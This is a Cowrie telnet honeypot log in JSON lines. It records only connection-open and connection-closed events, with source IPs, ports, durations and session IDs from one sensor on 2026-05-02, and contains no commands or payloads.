{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":49354,"dst_ip":"159.203.135.109","dst_port":23,"session":"68a20e83dae4","protocol":"telnet","message":"New connection: 216.10.244.42:49354 (159.203.135.109:23) [session: 68a20e83dae4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:26:25.191291Z"}
{"eventid":"cowrie.session.closed","duration":8.251862525939941,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:26:26.272804Z","src_ip":"188.208.141.113","session":"bfa2562d6e5f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":45710,"dst_ip":"10.17.0.5","dst_port":23,"session":"99e9e76dd05e","protocol":"telnet","message":"New connection: 188.208.141.113:45710 (10.17.0.5:23) [session: 99e9e76dd05e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:26:28.374860Z"}
{"eventid":"cowrie.session.closed","duration":48.315451860427856,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:26:28.969410Z","src_ip":"206.189.32.23","session":"a81b0013aaef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.97.143.186","src_port":42148,"dst_ip":"10.17.0.5","dst_port":23,"session":"d14c13165ad1","protocol":"telnet","message":"New connection: 186.97.143.186:42148 (10.17.0.5:23) [session: d14c13165ad1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:26:29.044081Z"}
{"eventid":"cowrie.session.closed","duration":39.44319295883179,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:26:29.193513Z","src_ip":"188.208.141.113","session":"7436defd7442","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.28713059425354,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:26:33.751678Z","src_ip":"216.10.244.42","session":"e12764a10678","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":56222,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5e50e10983e","protocol":"telnet","message":"New connection: 216.10.244.42:56222 (159.203.135.109:23) [session: d5e50e10983e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:26:34.216009Z"}
{"eventid":"cowrie.session.closed","duration":31.430387258529663,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:26:36.172140Z","src_ip":"216.10.244.42","session":"81eb99aaffe8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":60976,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f91e5d4b937","protocol":"telnet","message":"New connection: 216.10.244.42:60976 (159.203.135.109:23) [session: 3f91e5d4b937]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:26:38.462927Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":34670,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab6e1f287392","protocol":"telnet","message":"New connection: 216.10.244.42:34670 (159.203.135.109:23) [session: ab6e1f287392]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:26:40.704663Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":35560,"dst_ip":"159.203.135.109","dst_port":23,"session":"324ea6d13245","protocol":"telnet","message":"New connection: 216.10.244.42:35560 (159.203.135.109:23) [session: 324ea6d13245]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:26:41.593714Z"}
{"eventid":"cowrie.session.closed","duration":12.669028282165527,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:26:41.713014Z","src_ip":"186.97.143.186","session":"d14c13165ad1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.159109354019165,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:26:42.663618Z","src_ip":"206.189.32.23","session":"62dd31fc988a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":39672,"dst_ip":"159.203.135.109","dst_port":23,"session":"65d64fd1525f","protocol":"telnet","message":"New connection: 216.10.244.42:39672 (159.203.135.109:23) [session: 65d64fd1525f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:26:46.076532Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":37650,"dst_ip":"159.203.135.109","dst_port":23,"session":"44e1b25ac35b","protocol":"telnet","message":"New connection: 216.10.244.42:37650 (159.203.135.109:23) [session: 44e1b25ac35b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:26:46.740906Z"}
{"eventid":"cowrie.session.closed","duration":31.75149130821228,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:26:47.153255Z","src_ip":"216.10.244.42","session":"10313fa8de6d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.131720542907715,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:26:48.349544Z","src_ip":"216.10.244.42","session":"8a9bea9c56f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.06689190864563,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:26:50.600435Z","src_ip":"216.10.244.42","session":"c9f99231355e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.131608963012695,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:26:52.802901Z","src_ip":"216.10.244.42","session":"de57bc00f8ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.61.167.236","src_port":46670,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ee3cea72f71","protocol":"telnet","message":"New connection: 186.61.167.236:46670 (159.203.135.109:23) [session: 5ee3cea72f71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:26:53.188726Z"}
{"eventid":"cowrie.session.closed","duration":31.546112298965454,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:26:55.516731Z","src_ip":"216.10.244.42","session":"1bea9226c232","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.233728408813477,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:26:56.424886Z","src_ip":"216.10.244.42","session":"68a20e83dae4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":49668,"dst_ip":"159.203.135.109","dst_port":23,"session":"5628b3655c39","protocol":"telnet","message":"New connection: 216.10.244.42:49668 (159.203.135.109:23) [session: 5628b3655c39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:26:57.708819Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":50548,"dst_ip":"159.203.135.109","dst_port":23,"session":"a849efc285eb","protocol":"telnet","message":"New connection: 216.10.244.42:50548 (159.203.135.109:23) [session: a849efc285eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:26:58.683968Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":50656,"dst_ip":"159.203.135.109","dst_port":23,"session":"e249f5f25205","protocol":"telnet","message":"New connection: 216.10.244.42:50656 (159.203.135.109:23) [session: e249f5f25205]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:26:58.833771Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":48830,"dst_ip":"159.203.135.109","dst_port":23,"session":"94ec107f72ab","protocol":"telnet","message":"New connection: 207.244.241.37:48830 (159.203.135.109:23) [session: 94ec107f72ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:26:58.941692Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":50932,"dst_ip":"159.203.135.109","dst_port":23,"session":"63de8aa009d2","protocol":"telnet","message":"New connection: 216.10.244.42:50932 (159.203.135.109:23) [session: 63de8aa009d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:26:59.186634Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":46370,"dst_ip":"10.17.0.5","dst_port":23,"session":"733af5328fd0","protocol":"telnet","message":"New connection: 188.208.141.113:46370 (10.17.0.5:23) [session: 733af5328fd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:26:59.485364Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":52602,"dst_ip":"159.203.135.109","dst_port":23,"session":"6de7b375882e","protocol":"telnet","message":"New connection: 216.10.244.42:52602 (159.203.135.109:23) [session: 6de7b375882e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:01.130477Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":52986,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b743a928496","protocol":"telnet","message":"New connection: 207.244.241.37:52986 (159.203.135.109:23) [session: 9b743a928496]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:01.522185Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":53574,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd05bbd64a9b","protocol":"telnet","message":"New connection: 207.244.241.37:53574 (159.203.135.109:23) [session: fd05bbd64a9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:01.821672Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":50850,"dst_ip":"10.17.0.5","dst_port":23,"session":"15c9d22ed647","protocol":"telnet","message":"New connection: 188.208.141.113:50850 (10.17.0.5:23) [session: 15c9d22ed647]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:02.072523Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":53744,"dst_ip":"159.203.135.109","dst_port":23,"session":"023212f9d8a5","protocol":"telnet","message":"New connection: 216.10.244.42:53744 (159.203.135.109:23) [session: 023212f9d8a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:02.431748Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":50852,"dst_ip":"10.17.0.5","dst_port":23,"session":"5bce4eb55b1d","protocol":"telnet","message":"New connection: 188.208.141.113:50852 (10.17.0.5:23) [session: 5bce4eb55b1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:02.666647Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":52554,"dst_ip":"10.17.0.5","dst_port":23,"session":"b242542a4294","protocol":"telnet","message":"New connection: 206.189.32.23:52554 (10.17.0.5:23) [session: b242542a4294]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:02.826151Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":54172,"dst_ip":"159.203.135.109","dst_port":23,"session":"358dab77c6d6","protocol":"telnet","message":"New connection: 216.10.244.42:54172 (159.203.135.109:23) [session: 358dab77c6d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:02.921883Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":56126,"dst_ip":"159.203.135.109","dst_port":23,"session":"cdb3d00fcb92","protocol":"telnet","message":"New connection: 207.244.241.37:56126 (159.203.135.109:23) [session: cdb3d00fcb92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:03.512620Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":55284,"dst_ip":"159.203.135.109","dst_port":23,"session":"87aadadfd59b","protocol":"telnet","message":"New connection: 216.10.244.42:55284 (159.203.135.109:23) [session: 87aadadfd59b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:03.965824Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":57276,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b355cfa4d88","protocol":"telnet","message":"New connection: 207.244.241.37:57276 (159.203.135.109:23) [session: 1b355cfa4d88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:05.217731Z"}
{"eventid":"cowrie.session.closed","duration":31.57634973526001,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:05.792245Z","src_ip":"216.10.244.42","session":"d5e50e10983e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.0157151222229,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:06.204314Z","src_ip":"186.61.167.236","session":"5ee3cea72f71","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":57802,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba9b61cf887b","protocol":"telnet","message":"New connection: 216.10.244.42:57802 (159.203.135.109:23) [session: ba9b61cf887b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:06.979774Z"}
{"eventid":"cowrie.session.closed","duration":40.797011375427246,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:09.171772Z","src_ip":"188.208.141.113","session":"99e9e76dd05e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.92181396484375,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:09.384607Z","src_ip":"216.10.244.42","session":"3f91e5d4b937","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":60884,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d3ae497502c","protocol":"telnet","message":"New connection: 216.10.244.42:60884 (159.203.135.109:23) [session: 7d3ae497502c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:10.127985Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":60564,"dst_ip":"159.203.135.109","dst_port":23,"session":"0fd494002957","protocol":"telnet","message":"New connection: 216.10.244.42:60564 (159.203.135.109:23) [session: 0fd494002957]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:10.717595Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":44678,"dst_ip":"10.17.0.5","dst_port":23,"session":"5504e1593c12","protocol":"telnet","message":"New connection: 188.208.141.113:44678 (10.17.0.5:23) [session: 5504e1593c12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:10.854883Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":41778,"dst_ip":"159.203.135.109","dst_port":23,"session":"42e63e6f9eff","protocol":"telnet","message":"New connection: 207.244.241.37:41778 (159.203.135.109:23) [session: 42e63e6f9eff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:11.579798Z"}
{"eventid":"cowrie.session.closed","duration":31.048170566558838,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:11.752698Z","src_ip":"216.10.244.42","session":"ab6e1f287392","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":34140,"dst_ip":"159.203.135.109","dst_port":23,"session":"c647029e08e4","protocol":"telnet","message":"New connection: 216.10.244.42:34140 (159.203.135.109:23) [session: c647029e08e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:11.869857Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":34180,"dst_ip":"159.203.135.109","dst_port":23,"session":"0028de42891c","protocol":"telnet","message":"New connection: 216.10.244.42:34180 (159.203.135.109:23) [session: 0028de42891c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:11.923439Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":34378,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6352a7736e5","protocol":"telnet","message":"New connection: 216.10.244.42:34378 (159.203.135.109:23) [session: d6352a7736e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:12.164279Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":35528,"dst_ip":"159.203.135.109","dst_port":23,"session":"3cd6ce245b87","protocol":"telnet","message":"New connection: 216.10.244.42:35528 (159.203.135.109:23) [session: 3cd6ce245b87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:13.406916Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":35174,"dst_ip":"159.203.135.109","dst_port":23,"session":"d672d255be01","protocol":"telnet","message":"New connection: 216.10.244.42:35174 (159.203.135.109:23) [session: d672d255be01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:14.074560Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":36904,"dst_ip":"159.203.135.109","dst_port":23,"session":"909064d69497","protocol":"telnet","message":"New connection: 216.10.244.42:36904 (159.203.135.109:23) [session: 909064d69497]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:14.830138Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":44680,"dst_ip":"10.17.0.5","dst_port":23,"session":"c66537c84dc9","protocol":"telnet","message":"New connection: 188.208.141.113:44680 (10.17.0.5:23) [session: c66537c84dc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:15.455932Z"}
{"eventid":"cowrie.session.closed","duration":30.641091108322144,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:16.717486Z","src_ip":"216.10.244.42","session":"65d64fd1525f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.7165105342865,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:17.457291Z","src_ip":"216.10.244.42","session":"44e1b25ac35b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":40854,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce7b1f4577aa","protocol":"telnet","message":"New connection: 216.10.244.42:40854 (159.203.135.109:23) [session: ce7b1f4577aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:18.984225Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":55800,"dst_ip":"10.17.0.5","dst_port":23,"session":"8229306e7635","protocol":"telnet","message":"New connection: 188.208.141.113:55800 (10.17.0.5:23) [session: 8229306e7635]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:20.693956Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":43012,"dst_ip":"159.203.135.109","dst_port":23,"session":"4aa5601da954","protocol":"telnet","message":"New connection: 216.10.244.42:43012 (159.203.135.109:23) [session: 4aa5601da954]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:20.778001Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":43196,"dst_ip":"159.203.135.109","dst_port":23,"session":"ecdef57678b0","protocol":"telnet","message":"New connection: 216.10.244.42:43196 (159.203.135.109:23) [session: ecdef57678b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:21.018677Z"}
{"eventid":"cowrie.session.closed","duration":6.304190158843994,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:21.760004Z","src_ip":"188.208.141.113","session":"c66537c84dc9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":44442,"dst_ip":"159.203.135.109","dst_port":23,"session":"108ea54e41c7","protocol":"telnet","message":"New connection: 216.10.244.42:44442 (159.203.135.109:23) [session: 108ea54e41c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:22.339493Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":45270,"dst_ip":"159.203.135.109","dst_port":23,"session":"86822a172d2a","protocol":"telnet","message":"New connection: 216.10.244.42:45270 (159.203.135.109:23) [session: 86822a172d2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:23.191025Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":33872,"dst_ip":"159.203.135.109","dst_port":23,"session":"792abde177b5","protocol":"telnet","message":"New connection: 207.244.241.37:33872 (159.203.135.109:23) [session: 792abde177b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:23.860506Z"}
{"eventid":"cowrie.session.closed","duration":42.968443155288696,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:24.562012Z","src_ip":"216.10.244.42","session":"324ea6d13245","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":46338,"dst_ip":"159.203.135.109","dst_port":23,"session":"9161a0b6a619","protocol":"telnet","message":"New connection: 216.10.244.42:46338 (159.203.135.109:23) [session: 9161a0b6a619]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:25.173284Z"}
{"eventid":"cowrie.session.closed","duration":4.623137950897217,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:25.316959Z","src_ip":"188.208.141.113","session":"8229306e7635","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":47940,"dst_ip":"159.203.135.109","dst_port":23,"session":"b41c66216bf3","protocol":"telnet","message":"New connection: 216.10.244.42:47940 (159.203.135.109:23) [session: b41c66216bf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:26.571232Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":42492,"dst_ip":"159.203.135.109","dst_port":23,"session":"84600bb75a82","protocol":"telnet","message":"New connection: 207.244.241.37:42492 (159.203.135.109:23) [session: 84600bb75a82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:27.479213Z"}
{"eventid":"cowrie.session.closed","duration":31.405184507369995,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:29.113859Z","src_ip":"216.10.244.42","session":"5628b3655c39","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.247802257537842,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:29.189392Z","src_ip":"207.244.241.37","session":"94ec107f72ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":51180,"dst_ip":"159.203.135.109","dst_port":23,"session":"23552cedb5e5","protocol":"telnet","message":"New connection: 216.10.244.42:51180 (159.203.135.109:23) [session: 23552cedb5e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:29.264558Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.198.35.12","src_port":44530,"dst_ip":"159.203.135.109","dst_port":23,"session":"44801d95519f","protocol":"telnet","message":"New connection: 190.198.35.12:44530 (159.203.135.109:23) [session: 44801d95519f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:29.317741Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":45806,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4a7e532d53f","protocol":"telnet","message":"New connection: 207.244.241.37:45806 (159.203.135.109:23) [session: d4a7e532d53f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:29.384210Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":45960,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f992712d2d0","protocol":"telnet","message":"New connection: 207.244.241.37:45960 (159.203.135.109:23) [session: 9f992712d2d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:29.470247Z"}
